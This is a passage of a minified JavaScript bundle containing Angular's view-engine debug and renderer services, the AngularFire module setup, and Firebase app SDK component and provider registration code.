CC(t,e),handleEvent:fC,updateDirectives:gC,updateRenderer:mC}:{setCurrentNode:()=>{},createRootView:q_,createEmbeddedView:P_,createComponentView:M_,createNgModuleRef:Eg,overrideProvider:vf,overrideComponentView:vf,clearOverrides:vf,checkAndUpdateView:k_,checkNoChangesView:I_,destroyView:L_,createDebugContext:(t,e)=>new CC(t,e),handleEvent:(t,e,n,r)=>t.def.handleEvent(t,e,n,r),updateDirectives:(t,e)=>t.def.updateDirectives(0===e?iC:oC,t),updateRenderer:(t,e)=>t.def.updateRenderer(0===e?iC:oC,t)};bf.setCurrentNode=t.setCurrentNode,bf.createRootView=t.createRootView,bf.createEmbeddedView=t.createEmbeddedView,bf.createComponentView=t.createComponentView,bf.createNgModuleRef=t.createNgModuleRef,bf.overrideProvider=t.overrideProvider,bf.overrideComponentView=t.overrideComponentView,bf.clearOverrides=t.clearOverrides,bf.checkAndUpdateView=t.checkAndUpdateView,bf.checkNoChangesView=t.checkNoChangesView,bf.destroyView=t.destroyView,bf.resolveDep=$g,bf.createDebugContext=t.createDebugContext,bf.handleEvent=t.handleEvent,bf.updateDirectives=t.updateDirectives,bf.updateRenderer=t.updateRenderer,bf.dirtyParentQueries=c_}function q_(t,e,n,r,i,o){const s=i.injector.get(up);return S_(K_(t,i,s,e,n),r,o)}function W_(t,e,n,r,i,o){const s=i.injector.get(up),a=K_(t,i,new SC(s),e,n),c=rC(r);return xC(lC.create,S_,null,[a,c,o])}function K_(t,e,n,r,i){const o=e.injector.get(gp),s=e.injector.get(io),a=n.createRenderer(null,null);return{ngModule:e,injector:t,projectableNodes:r,selectorOrNode:i,sanitizer:o,rendererFactory:n,renderer:a,errorHandler:s}}function $_(t,e,n,r){const i=rC(n);return xC(lC.create,P_,null,[t,e,i,r])}function Q_(t,e,n,r){return n=J_.get(e.element.componentProvider.provider.token)||rC(n),xC(lC.create,M_,null,[t,e,n,r])}function X_(t,e,n,r){const i=function(t){const{hasOverrides:e,hasDeprecatedOverrides:n}=function(t){let e=!1,n=!1;return 0===Z_.size||(t.providers.forEach(t=>{const r=Z_.get(t.token);3840&t.flags&&r&&(e=!0,n=n||r.deprecatedBehavior)}),t.modules.forEach(t=>{Y_.forEach((r,i)=>{m(M(i).providedIn)===t&&(e=!0,n=n||r.deprecatedBehavior)})})),{hasOverrides:e,hasDeprecatedOverrides:n}}(t);return e?(function(t){for(let e=0;e<t.providers.length;e++){const r=t.providers[e];n&&(r.flags|=4096);const i=Z_.get(r.token);i&&(r.flags=-3841&r.flags|i.flags,r.deps=Hf(i.deps),r.value=i.value)}if(Y_.size>0){let e=new Set(t.modules);Y_.forEach((r,i)=>{if(e.has(m(M(i).providedIn))){let e={token:i,flags:r.flags|(n?4096:0),deps:Hf(r.deps),value:r.value,index:t.providers.length};t.providers.push(e),t.providersByKey[Cf(i)]=e}})}}(t=t.factory(()=>vf)),t):t}(r);return Eg(t,e,n,i)}const Z_=new Map,Y_=new Map,J_=new Map;function tC(t){let e;Z_.set(t.token,t),"function"==typeof t.token&&(e=M(t.token))&&"function"==typeof e.providedIn&&Y_.set(t.token,t)}function eC(t,e){const n=Uf(mg(e)),r=Uf(n.nodes[0].element.componentView);J_.set(t,r)}function nC(){Z_.clear(),Y_.clear(),J_.clear()}function rC(t){if(0===Z_.size)return t;const e=function(t){const e=[];let n=null;for(let r=0;r<t.nodes.length;r++){const i=t.nodes[r];1&i.flags&&(n=i),n&&3840&i.flags&&Z_.has(i.provider.token)&&(e.push(n.nodeIndex),n=null)}return e}(t);if(0===e.length)return t;t=t.factory(()=>vf);for(let r=0;r<e.length;r++)n(t,e[r]);return t;function n(t,e){for(let n=e+1;n<t.nodes.length;n++){const e=t.nodes[n];if(1&e.flags)return;if(3840&e.flags){const t=e.provider,n=Z_.get(t.token);n&&(e.flags=-3841&e.flags|n.flags,t.deps=Hf(n.deps),t.value=n.value)}}}}function iC(t,e,n,r,i,o,s,a,c,l,u,d,h){const p=t.def.nodes[e];return A_(t,p,n,r,i,o,s,a,c,l,u,d,h),224&p.flags?gf(t,e).value:void 0}function oC(t,e,n,r,i,o,s,a,c,l,u,d,h){const p=t.def.nodes[e];return N_(t,p,n,r,i,o,s,a,c,l,u,d,h),224&p.flags?gf(t,e).value:void 0}function sC(t){return xC(lC.detectChanges,k_,null,[t])}function aC(t){return xC(lC.checkNoChanges,I_,null,[t])}function cC(t){return xC(lC.destroy,L_,null,[t])}var lC=(()=>((lC=lC||{})[lC.create=0]="create",lC[lC.detectChanges=1]="detectChanges",lC[lC.checkNoChanges=2]="checkNoChanges",lC[lC.destroy=3]="destroy",lC[lC.handleEvent=4]="handleEvent",lC))();let uC,dC,hC;function pC(t,e){dC=t,hC=e}function fC(t,e,n,r){return pC(t,e),xC(lC.handleEvent,t.def.handleEvent,null,[t,e,n,r])}function gC(t,e){if(128&t.state)throw lf(lC[uC]);return pC(t,vC(t,0)),t.def.updateDirectives(function(t,n,r,...i){const o=t.def.nodes[n];return 0===e?yC(t,o,r,i):bC(t,o,r,i),16384&o.flags&&pC(t,vC(t,n)),224&o.flags?gf(t,o.nodeIndex).value:void 0},t)}function mC(t,e){if(128&t.state)throw lf(lC[uC]);return pC(t,_C(t,0)),t.def.updateRenderer(function(t,n,r,...i){const o=t.def.nodes[n];return 0===e?yC(t,o,r,i):bC(t,o,r,i),3&o.flags&&pC(t,_C(t,n)),224&o.flags?gf(t,o.nodeIndex).value:void 0},t)}function yC(t,e,n,r){if(A_(t,e,n,...r)){const i=1===n?r[0]:r;if(16384&e.flags){const n={};for(let t=0;t<e.bindings.length;t++){const r=e.bindings[t],o=i[t];8&r.flags&&(n[uo(r.nonMinifiedName)]=po(o))}const r=e.parent,o=pf(t,r.nodeIndex).renderElement;if(r.element.name)for(let e in n){const r=n[e];null!=r?t.renderer.setAttribute(o,e,r):t.renderer.removeAttribute(o,e)}else t.renderer.setValue(o,lo(`bindings=${JSON.stringify(n,null,2)}`))}}}function bC(t,e,n,r){N_(t,e,n,...r)}function vC(t,e){for(let n=e;n<t.def.nodes.length;n++){const e=t.def.nodes[n];if(16384&e.flags&&e.bindings&&e.bindings.length)return n}return null}function _C(t,e){for(let n=e;n<t.def.nodes.length;n++){const e=t.def.nodes[n];if(3&e.flags&&e.bindings&&e.bindings.length)return n}return null}class CC{constructor(t,e){this.view=t,this.nodeIndex=e,null==e&&(this.nodeIndex=e=0),this.nodeDef=t.def.nodes[e];let n=this.nodeDef,r=t;for(;n&&0==(1&n.flags);)n=n.parent;if(!n)for(;!n&&r;)n=Nf(r),r=r.parent;this.elDef=n,this.elView=r}get elOrCompView(){return pf(this.elView,this.elDef.nodeIndex).componentView||this.view}get injector(){return Sg(this.elView,this.elDef)}get component(){return this.elOrCompView.component}get context(){return this.elOrCompView.context}get providerTokens(){const t=[];if(this.elDef)for(let e=this.elDef.nodeIndex+1;e<=this.elDef.nodeIndex+this.elDef.childCount;e++){const n=this.elView.def.nodes[e];20224&n.flags&&t.push(n.provider.token),e+=n.childCount}return t}get references(){const t={};if(this.elDef){wC(this.elView,this.elDef,t);for(let e=this.elDef.nodeIndex+1;e<=this.elDef.nodeIndex+this.elDef.childCount;e++){const n=this.elView.def.nodes[e];20224&n.flags&&wC(this.elView,n,t),e+=n.childCount}}return t}get componentRenderElement(){const t=function(t){for(;t&&!jf(t);)t=t.parent;return t.parent?pf(t.parent,Nf(t).nodeIndex):null}(this.elOrCompView);return t?t.renderElement:void 0}get renderNode(){return 2&this.nodeDef.flags?Rf(this.view,this.nodeDef):Rf(this.elView,this.elDef)}logError(t,...e){let n,r;2&this.nodeDef.flags?(n=this.view.def,r=this.nodeDef.nodeIndex):(n=this.elView.def,r=this.elDef.nodeIndex);const i=function(t,e){let n=-1;for(let r=0;r<=e;r++)3&t.nodes[r].flags&&n++;return n}(n,r);let o=-1;n.factory(()=>(o++,o===i?t.error.bind(t,...e):vf)),o<i&&(t.error("Illegal state: the ViewDefinitionFactory did not call the logger!"),t.error(...e))}}function wC(t,e,n){for(let r in e.references)n[r]=d_(t,e,e.references[r])}function xC(t,e,n,r){const i=uC,o=dC,s=hC;try{uC=t;const a=e.apply(n,r);return dC=o,hC=s,uC=i,a}catch(a){throw function(t){return!!eo(t)}(a)||!dC?a:function(t,e){return t instanceof Error||(t=new Error(t.toString())),cf(t,e),t}(a,PC())}}function PC(){return dC?new CC(dC,hC):null}class SC{constructor(t){this.delegate=t}createRenderer(t,e){return new MC(this.delegate.createRenderer(t,e))}begin(){this.delegate.begin&&this.delegate.begin()}end(){this.delegate.end&&this.delegate.end()}whenRenderingDone(){return this.delegate.whenRenderingDone?this.delegate.whenRenderingDone():Promise.resolve(null)}}class MC{constructor(t){this.delegate=t,this.debugContextFactory=PC,this.data=this.delegate.data}createDebugContext(t){return this.debugContextFactory(t)}destroyNode(t){const e=Hv(t);e&&(Fv.delete(e.nativeNode),e instanceof Sv&&(e.listeners.length=0)),this.delegate.destroyNode&&this.delegate.destroyNode(t)}destroy(){this.delegate.destroy()}createElement(t,e){const n=this.delegate.createElement(t,e),r=this.createDebugContext(n);if(r){const e=new Mv(n,null,r);e.name=t,Uv(e)}return n}createComment(t){const e=this.delegate.createComment(lo(t)),n=this.createDebugContext(e);return n&&Uv(new Sv(e,null,n)),e}createText(t){const e=this.delegate.createText(t),n=this.createDebugContext(e);return n&&Uv(new Sv(e,null,n)),e}appendChild(t,e){const n=Hv(t),r=Hv(e);n&&r&&n instanceof Mv&&n.addChild(r),this.delegate.appendChild(t,e)}insertBefore(t,e,n,r){const i=Hv(t),o=Hv(e),s=Hv(n);i&&o&&i instanceof Mv&&i.insertBefore(s,o),this.delegate.insertBefore(t,e,n,r)}removeChild(t,e){const n=Hv(t),r=Hv(e);n&&r&&n instanceof Mv&&n.removeChild(r),this.delegate.removeChild(t,e)}selectRootElement(t,e){const n=this.delegate.selectRootElement(t,e),r=PC();return r&&Uv(new Mv(n,null,r)),n}setAttribute(t,e,n,r){const i=Hv(t);i&&i instanceof Mv&&(i.attributes[r?r+":"+e:e]=n),this.delegate.setAttribute(t,e,n,r)}removeAttribute(t,e,n){const r=Hv(t);r&&r instanceof Mv&&(r.attributes[n?n+":"+e:e]=null),this.delegate.removeAttribute(t,e,n)}addClass(t,e){const n=Hv(t);n&&n instanceof Mv&&(n.classes[e]=!0),this.delegate.addClass(t,e)}removeClass(t,e){const n=Hv(t);n&&n instanceof Mv&&(n.classes[e]=!1),this.delegate.removeClass(t,e)}setStyle(t,e,n,r){const i=Hv(t);i&&i instanceof Mv&&(i.styles[e]=n),this.delegate.setStyle(t,e,n,r)}removeStyle(t,e,n){const r=Hv(t);r&&r instanceof Mv&&(r.styles[e]=null),this.delegate.removeStyle(t,e,n)}setProperty(t,e,n){const r=Hv(t);r&&r instanceof Mv&&(r.properties[e]=n),this.delegate.setProperty(t,e,n)}listen(t,e,n){if("string"!=typeof t){const r=Hv(t);r&&r.listeners.push(new Pv(e,n))}return this.delegate.listen(t,e,n)}parentNode(t){return this.delegate.parentNode(t)}nextSibling(t){return this.delegate.nextSibling(t)}setValue(t,e){return this.delegate.setValue(t,e)}}function OC(t){return U_(),bf.overrideProvider(t)}function EC(t,e){return U_(),bf.overrideComponentView(t,e)}function TC(){return U_(),bf.clearOverrides()}function IC(t,e,n){return new kC(t,e,n)}class kC extends Xp{constructor(t,e,n){super(),this.moduleType=t,this._bootstrapComponents=e,this._ngModuleDefFactory=n}create(t){U_();const e=function(t){const e=Array.from(t.providers),n=Array.from(t.modules),r={};for(const i in t.providersByKey)r[i]=t.providersByKey[i];return{factory:t.factory,scope:t.scope,providers:e,modules:n,providersByKey:r}}(Uf(this._ngModuleDefFactory));return bf.createNgModuleRef(this.moduleType,t||Fa.NULL,this._bootstrapComponents,e)}}function AC(t){return zn().compileDirectiveDeclaration(iy,`ng:///${t.type.name}/\u0275fac.js`,t)}function DC(t){var e,n;om(t.type,t.decorators,null!==(e=t.ctorParameters)&&void 0!==e?e:null,null!==(n=t.propDecorators)&&void 0!==n?n:null)}function NC(t){return zn().compileComponentDeclaration(iy,`ng:///${t.type.name}/\u0275cmp.js`,t)}function RC(t){return zn(function(t){switch(t){case Hn.Directive:return"directive";case Hn.Component:return"component";case Hn.Injectable:return"injectable";case Hn.Pipe:return"pipe";case Hn.NgModule:;}}(t.target)).compileFactoryDeclaration(iy,`ng:///${t.type.name}/\u0275fac.js`,t)}function LC(t){return zn().compileInjectableDeclaration(iy,`ng:///${t.type.name}/\u0275prov.js`,t)}function jC(t){return zn().compileInjectorDeclaration(iy,`ng:///${t.type.name}/\u0275inj.js`,t)}function FC(t){return zn().compileNgModuleDeclaration(iy,`ng:///${t.type.name}/\u0275mod.js`,t)}function VC(t){return zn().compilePipeDeclaration(iy,`ng:///${t.type.name}/\u0275pipe.js`,t)}},57:function(t,e,n){"use strict";n.d(e,{hO:function(){return M},xv:function(){return v},Dh:function(){return b},HU:function(){return p},GT:function(){return y},sI:function(){return P},on:function(){return C},ss:function(){return f},pX:function(){return m},yq:function(){return w}});var r=n(7771),i=n(3637),o=n(3342),s=n(9673),a=n(309),c=n(3018),l=n(2329);function u(){}t=n.hmd(t);class d{constructor(t,e=r.N){this.zone=t,this.delegate=e}now(){return this.delegate.now()}schedule(t,e,n){const r=this.zone;return this.delegate.schedule(function(e){r.runGuarded(()=>{t.apply(this,[e])})},e,n)}}class h{constructor(t){this.zone=t,this.task=null}call(t,e){const n=this.unscheduleTask.bind(this);return this.task=this.zone.run(()=>Zone.current.scheduleMacroTask("firebaseZoneBlock",u,{},u,u)),e.pipe((0,o.b)({next:n,complete:n,error:n})).subscribe(t).add(n)}unscheduleTask(){setTimeout(()=>{null!=this.task&&"scheduled"===this.task.state&&(this.task.invoke(),this.task=null)},10)}}class p{constructor(t){this.ngZone=t,this.outsideAngular=t.runOutsideAngular(()=>new d(Zone.current)),this.insideAngular=t.run(()=>new d(Zone.current,i.z))}}function f(t){return function(e){return(e=e.lift(new h(t.ngZone))).pipe((0,s.R)(t.outsideAngular),(0,a.QV)(t.insideAngular))}}const g=["ngOnDestroy"],m=(t,e,n,r={})=>new Proxy(t,{get:(i,o)=>n.runOutsideAngular(()=>{var i;if(t[o])return(null===(i=null==r?void 0:r.spy)||void 0===i?void 0:i.get)&&r.spy.get(o,t[o]),t[o];if(g.indexOf(o)>-1)return()=>{};const s=e.toPromise().then(t=>{const e=t&&t[o];return"function"==typeof e?e.bind(t):e&&e.then?e.then(t=>n.run(()=>t)):n.run(()=>e)});return new Proxy(()=>{},{get:(t,e)=>s[e],apply:(t,e,n)=>s.then(t=>{var e;const i=t&&t(...n);return(null===(e=null==r?void 0:r.spy)||void 0===e?void 0:e.apply)&&r.spy.apply(o,n,i),i})})})}),y=(t,e)=>{e.forEach(e=>{Object.getOwnPropertyNames(e.prototype||e).forEach(n=>{Object.defineProperty(t.prototype,n,Object.getOwnPropertyDescriptor(e.prototype||e,n))})})},b=new c.InjectionToken("angularfire2.app.options"),v=new c.InjectionToken("angularfire2.app.nameOrConfig"),_=new c.Version("6.1.5");function C(e,n,r){const i="object"==typeof r&&r||{};i.name=i.name||"string"==typeof r&&r||"[DEFAULT]";const o=l.Z.apps.filter(t=>t&&t.name===i.name)[0]||n.runOutsideAngular(()=>l.Z.initializeApp(e,i));try{JSON.stringify(e)!==JSON.stringify(o.options)&&x("error",`${o.name} Firebase App already initialized with different options${t.hot?", you may need to reload as Firebase is not HMR aware.":"."}`)}catch(s){}return o}const w=()=>{x("warn","You may need to import 'firebase/auth' manually in your component rather than rely on AngularFireAuth's dynamic import, when using the emulator suite https://github.com/angular/angularfire/issues/2656")},x=(t,...e)=>{(0,c.isDevMode)()&&"undefined"!=typeof console&&console[t](...e)};function P(e,n,r,i,o){const[s,...a]=globalThis.\u0275AngularfireInstanceCache.get(e)||[];if(s){try{o.some((t,e)=>{const n=a[e];return t&&"object"==typeof t?JSON.stringify(t)!==JSON.stringify(n):t!==n})&&x("error",`${n} was already initialized on the ${r.name} Firebase App instance with different settings.${t.hot?" You may need to reload as Firebase is not HMR aware.":""}`)}catch(c){}return s}{const t=i();return globalThis.\u0275AngularfireInstanceCache.set(e,[t,...o]),t}}globalThis.\u0275AngularfireInstanceCache||(globalThis.\u0275AngularfireInstanceCache=new Map);const S={provide:class{},useFactory:C,deps:[b,c.NgZone,[new c.Optional,v]]};let M=(()=>{class t{constructor(t){l.Z.registerVersion("angularfire",_.full,t.toString()),l.Z.registerVersion("angular",c.VERSION.full)}static initializeApp(e,n){return{ngModule:t,providers:[{provide:b,useValue:e},{provide:v,useValue:n}]}}}return t.\u0275fac=function(e){return new(e||t)(c.\u0275\u0275inject(c.PLATFORM_ID))},t.\u0275mod=c.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=c.\u0275\u0275defineInjector({providers:[S]}),t})()},9759:function(t,e,n){"use strict";var r,i,o=n(4762),s=n(4685),a=n(6034),c=n(300),l=((r={})["no-app"]="No Firebase App '{$appName}' has been created - call Firebase App.initializeApp()",r["bad-app-name"]="Illegal App name: '{$appName}",r["duplicate-app"]="Firebase App named '{$appName}' already exists",r["app-deleted"]="Firebase App named '{$appName}' already deleted",r["invalid-app-argument"]="firebase.{$appName}() takes either no argument or a Firebase App instance.",r["invalid-log-argument"]="First argument to `onLog` must be null or a function.",r),u=new s.LL("app","Firebase",l),d="@firebase/app",h="[DEFAULT]",p=((i={})[d]="fire-core",i["@firebase/analytics"]="fire-analytics",i["@firebase/app-check"]="fire-app-check",i["@firebase/auth"]="fire-auth",i["@firebase/database"]="fire-rtdb",i["@firebase/functions"]="fire-fn",i["@firebase/installations"]="fire-iid",i["@firebase/messaging"]="fire-fcm",i["@firebase/performance"]="fire-perf",i["@firebase/remote-config"]="fire-rc",i["@firebase/storage"]="fire-gcs",i["@firebase/firestore"]="fire-fst",i["fire-js"]="fire-js",i["firebase-wrapper"]="fire-js-all",i),f=new c.Yd("@firebase/app"),g=function(){function t(t,e,n){var r=this;this.firebase_=n,this.isDeleted_=!1,this.name_=e.name,this.automaticDataCollectionEnabled_=e.automaticDataCollectionEnabled||!1,this.options_=(0,s.p$)(t),this.container=new a.H0(e.name),this._addComponent(new a.wA("app",function(){return r},"PUBLIC")),this.firebase_.INTERNAL.components.forEach(function(t){return r._addComponent(t)})}return Object.defineProperty(t.prototype,"automaticDataCollectionEnabled",{get:function(){return this.checkDestroyed_(),this.automaticDataCollectionEnabled_},set:function(t){this.checkDestroyed_(),this.automaticDataCollectionEnabled_=t},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"name",{get:function(){return this.checkDestroyed_(),this.name_},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"options",{get:function(){return this.checkDestroyed_(),this.options_},enumerable:!1,configurable:!0}),t.prototype.delete=function(){var t=this;return new Promise(function(e){t.checkDestroyed_(),e()}).then(function(){return t.firebase_.INTERNAL.removeApp(t.name_),Promise.all(t.container.getProviders().map(function(t){return t.delete()}))}).then(function(){t.isDeleted_=!0})},t.prototype._getService=function(t,e){var n;void 0===e&&(e=h),this.checkDestroyed_();var r=this.container.getProvider(t);return!r.isInitialized()&&"EXPLICIT"===(null===(n=r.getComponent())||void 0===n?void 0:n.instantiationMode)&&r.initialize(),r.getImmediate({identifier:e})},t.prototype._removeServiceInstance=function(t,e){void 0===e&&(e=h),this.container.getProvider(t).clearInstance(e)},t.prototype._addComponent=function(t){try{this.container.addComponent(t)}catch(e){f.debug("Component "+t.name+" failed to register with FirebaseApp "+this.name,e)}},t.prototype._addOrOverwriteComponent=function(t){this.container.addOrOverwriteComponent(t)},t.prototype.toJSON=function(){return{name:this.name,automaticDataCollectionEnabled:this.automaticDataCollectionEnabled,options:this.options}},t.prototype.checkDestroyed_=function(){if(this.isDeleted_)throw u.create("app-deleted",{appName:this.name_})},t}();g.prototype.name&&g.prototype.options||g.prototype.delete||console.log("dc");var m=function t(){var e=function(t){var e={},n=new Map,r={__esModule:!0,initializeApp:function(n,i){void 0===i&&(i={}),("object"!=typeof i||null===i)&&(i={name:i});var o=i;void 0===o.name&&(o.name=h);var a=o.name;if("string"!=typeof a||!a)throw u.create("bad-app-name",{appName:String(a)});if((0,s.r3)(e,a))throw u.create("duplicate-app",{appName:a});var c=new t(n,o,r);return e[a]=c,c},app:i,registerVersion:function(t,e,n){var r,i=null!==(r=p[t])&&void 0!==r?r:t;n&&(i+="-"+n);var s=i.match(/\s|\//),c=e.match(/\s|\//);if(s||c){var l=['Unable to register library "'+i+'" with version "'+e+'":'];return s&&l.push('library name "'+i+'" contains illegal characters (whitespace or "/")'),s&&c&&l.push("and"),c&&l.push('version name "'+e+'" contains illegal characters (whitespace or "/")'),void f.warn(l.join(" "))}o(new a.wA(i+"-version",function(){return{library:i,version:e}},"VERSION"))},setLogLevel:c.Ub,onLog:function(t,e){if(null!==t&&"function"!=typeof t)throw u.create("invalid-log-argument");(0,c.Am)(t,e)},apps:null,SDK_VERSION:"8.6.7",INTERNAL:{registerComponent:o,removeApp:function(t){delete e[t]},components:n,useAsService:function(t,e){return"serverAuth"===e?null:e}}};function i(t){if(!(0,s.r3)(e,t=t||h))throw u.create("no-app",{appName:t});return e[t]}function o(o){var a=o.name;if(n.has(a))return f.debug("There were multiple attempts to register component "+a+"."),"PUBLIC"===o.type?r[a]:null;if(n.set(a,o),"PUBLIC"===o.type){var c=function(t){if(void 0===t&&(t=i()),"function"!=typeof t[a])throw u.create("invalid-app-argument",{appName:a});return t[a]()};void 0!==o.serviceProps&&(0,s.ZB)(c,o.serviceProps),r[a]=c,t.prototype[a]=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return this._getService.bind(this,a).apply(this,o.multipleInstances?t:[])}}for(var l=0,d=Object.keys(e);l<d.length;l++)e[d[l]]._addComponent(o);return"PUBLIC"===o.type?r[a]:null}return r.default=r,Object.defineProperty(r,"apps",{get:function(){return Object.keys(e).map(function(t){return e[t]})}}),i.App=t,r}(g);return e.INTERNAL=(0,o.pi)((0,o.pi)({},e.INTERNAL),{createFirebaseNamespace:t,extendNamespace:function(t){(0,s.ZB)(e,t)},createSubscribe:s.ne,ErrorFactory:s.LL,deepExtend:s.ZB}),e}(),y=function(){function t(t){this.container=t}return t.prototype.getPlatformInfoString=function(){return this.container.getProviders().map(function(t){if(function(t){var e=t.getComponent();return"VERSION"===(null==e?void 0:e.type)}(t)){var e=t.getImmediate();return e.library+"/"+e.version}return null}).filter(function(t){return t}).join(" ")},t}();if((0,s.jU)()&&void 0!==self.firebase){f.warn("\n Warning: Firebase is already defined in the global scope. Please make sure\n Firebase library is only loaded once.\n ");var b=self.firebase.SDK_VERSION;b&&b.indexOf("LITE")>=0&&f.warn("\n Warning: You are trying to load Firebase while using Firebase Performance standalone script.\n You should load Firebase Performance with this instance of Firebase to avoid loading duplicate code.\n ")}var v=m.initializeApp;m.initializeApp=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return(0,s.UG)()&&f.warn('\n Warning: This is a browser-targeted Firebase bundle but it appears it is being\n run in a Node environment. If running in a Node environment, make sure you\n are using the bundle specified by the "main" field in package.json.\n \n If you are using Webpack, you can specify "main" as the first item in\n "resolve.mainFields":\n https://webpack.js.org/configuration/resolve/#resolvemainfields\n \n If using Rollup, use the @rollup/plugin-node-resolve plugin and specify "main"\n as the first item in "mainFields", e.g. [\'main\', \'module\'].\n https://github.com/rollup/@rollup/plugin-node-resolve\n '),v.apply(void 0,t)};var _,C=m;(_=C).INTERNAL.registerComponent(new a.wA("platform-logger",function(t){return new y(t)},"PRIVATE")),_.registerVersion(d,"0.6.26",undefined),_.registerVersion("fire-js",""),e.Z=C},6034:function(t,e,n){"use strict";n.d(e,{wA:function(){return o},H0:function(){return l}});var r=n(4762),i=n(4685),o=function(){function t(t,e,n){this.name=t,this.instanceFactory=e,this.type=n,this.multipleInstances=!1,this.serviceProps={},this.instantiationMode="LAZY",this.onInstanceCreated=null}return t.prototype.setInstantiationMode=function(t){return this.instantiationMode=t,this},t.prototype.setMultipleInstances=function(t){return this.multipleInstances=t,this},t.prototype.setServiceProps=function(t){return this.serviceProps=t,this},t.prototype.setInstanceCreatedCallback=function(t){return this.onInstanceCreated=t,this},t}(),s="[DEFAULT]",a=function(){function t(t,e){this.name=t,this.container=e,this.component=null,this.instances=new Map,this.instancesDeferred=new Map,this.onInitCallbacks=new Map}return t.prototype.get=function(t){var e=this.normalizeInstanceIdentifier(t);if(!this.instancesDeferred.has(e)){var n=new i.BH;if(this.instancesDeferred.set(e,n),this.isInitialized(e)||this.shouldAutoInitialize())try{var r=this.getOrInitializeService({instanceIdentifier:e});r&&n.resolve(r)}catch(o){}}return this.instancesDeferred.get(e).promise},t.prototype.getImmediate=function(t){var e,n=this.normalizeInstanceIdentifier(null==t?void 0:t.identifier),r=null!==(e=null==t?void 0:t.optional)&&void 0!==e&&e;if(!this.isInitialized(n)&&!this.shouldAutoInitialize()){if(r)return null;throw Error("Service "+this.name+" is not available")}try{return this.getOrInitializeService({instanceIdentifier:n})}catch(i){if(r)return null;throw i}},t.prototype.getComponent=function(){return this.component},t.prototype.setComponent=function(t){var e,n;if(t.name!==this.name)throw Error("Mismatching Component "+t.name+" for Provider "+this.name+".");if(this.component)throw Error("Component for "+this.name+" has already been provided");if(this.component=t,this.shouldAutoInitialize()){if(function(t){return"EAGER"===t.instantiationMode}(t))try{this.getOrInitializeService({instanceIdentifier:s})}catch(d){}try{for(var i=(0,r.XA)(this.instancesDeferred.entries()),o=i.next();!o.done;o=i.next()){var a=(0,r.CR)(o.value,2),c=a[1],l=this.normalizeInstanceIdentifier(a[0]);try{var u=this.getOrInitializeService({instanceIdentifier:l});c.resolve(u)}catch(d){}}}catch(d){e={error:d}}finally{try{o&&!o.done&&(n=i.return)&&n.call(i)}finally{if(e)throw e.error}}}},t.prototype.clearInstance=function(t){void 0===t&&(t=s),this.instancesDeferred.delete(t),this.instances.delete(t)},t.prototype.delete=function(){return(0,r.mG)(this,void 0,void 0,function(){var t;return(0,r.Jh)(this,function(e){switch(e.label){case 0:return t=Array.from(this.instances.values()),[4,Promise.all((0,r.ev)((0,r.ev)([],(0,r.CR)(t.filter(function(t){return"INTERNAL"in t}).map(function(t){return t.INTERNAL.delete()}))),(0,r.CR)(t.filter(function(t){return"_delete"in t}).map(function(t){return t._delete()}))))];case 1:return e.sent(),[2]}})})},t.prototype.isComponentSet=function(){return null!=this.component},t.prototype.isInitialized=function(t){return void 0===t&&(t=s),this.instances.has(t)},t.prototype.initialize=function(t){var e,n;void 0===t&&(t={});var i=t.options,o=void 0===i?{}:i,s=this.normalizeInstanceIdentifier(t.instanceIdentifier);if(this.isInitialized(s))throw Error(this.name+"("+s+") has already been initialized");if(!this.isComponentSet())throw Error("Component "+this.name+" has not been registered yet");var a=this.getOrInitializeService({instanceIdentifier:s,options:o});try{for(var c=(0,r.XA)(this.instancesDeferred.entries()),l=c.next();!l.done;l=c.next()){var u=(0,r.CR)(l.value,2),d=u[1];s===this.normalizeInstanceIdentifier(u[0])&&d.resolve(a)}}catch(h){e={error:h}}finally{try{l&&!l.done&&(n=c.return)&&n.call(c)}finally{if(e)throw e.error}}return this.invokeOnInitCallbacks(a,s),a},t.prototype.onInit=function(t,e){var n,r=this.normalizeInstanceIdentifier(e),i=null!==(n=this.onInitCallbacks.get(r))&&void 0!==n?n:new Set;i.add(t),this.onInitCallbacks.set(r,i);var o=this.instances.has(r);return o&&t(o,r),function(){i.delete(t)}},t.prototype.invokeOnInitCallbacks=function(t,e){var n,i,o=this.onInitCallbacks.get(e);if(o)try{for(var s=(0,r.XA)(o),a=s.next();!a.done;a=s.next()){var c=a.value;try{c(t,e)}catch(l){}}}catch(l){n={error:l}}finally{try{a&&!a.done&&(i=s.return)&&i.call(s)}finally{if(n)throw n.error}}},t.prototype.getOrInitializeService=function(t){var e=t.instanceIdentifier,n=t.options,r=void 0===n?{}:n,i=this.instances.get(e);if(!i&&this.component&&(i=this.component.instanceFactory(this.container,{instanceIdentifier:c(e),options:r}),this.instances.set(e,i),this.component.onInstanceCreated))try{this.component.onInstanceCreated(this.container,e,i)}catch(o){}return i||null},t.prototype.normalizeInstanceIdentifier=function(t){return void 0===t&&(t=s),this.component?this.component.multipleInstances?t:s:t},t.prototype.shouldAutoInitialize=function(){return!!this.component&&"EXPLICIT"!==this.component.instantiationMode},t}();function c(t){return t===s?void 0:t}var l=function(){function t(t){this.name=t,this.providers=new Map}return t.prototype.addComponent=function(t){var e=this.getProvider(t.name);if(e.isComponentSet())throw new Error("Component "+t.name+" has already been registered with "+this.name);e.setComponent(t)},t.prototype.addOrOverwriteComponent=function(t){this.getProvider(t.name).isComponentSet()&&this.providers.delete(t.name),this.addComponent(t)},t.prototype.getProvider=function(t){if(this.providers.has(t))return this.providers.get(t);var e=new a(t,this);return this.providers.set(t,e),e},t.prototype.getProviders=function(){return Array.from(this.providers.values())},t}()},300:function(t,e,n){"use strict";function r(){for(var t=0,e=0,n=arguments.length;e<n;e++)t+=arguments[e].length;var r=Array(t),i=0;for(e=0;e<n;e++)for(var o=arguments[e],s=0,a=o.length;s<a;s++,i++)r[i]=o[s];return r}n.d(e,{in:function(){return s},Yd:function(){return d},Ub:function(){return h},Am:function(){return p}});var i,o=[],s=(()=>{return(t=s||(s={}))[t.DEBUG=0]="DEBUG",t[t.VERBOSE=1]="VERBOSE",t[t.INFO=2]="INFO",t[t.WARN=3]="WARN",t[t.ERROR=4]="ERROR",t[t.SILENT=5]="SILENT",s;var 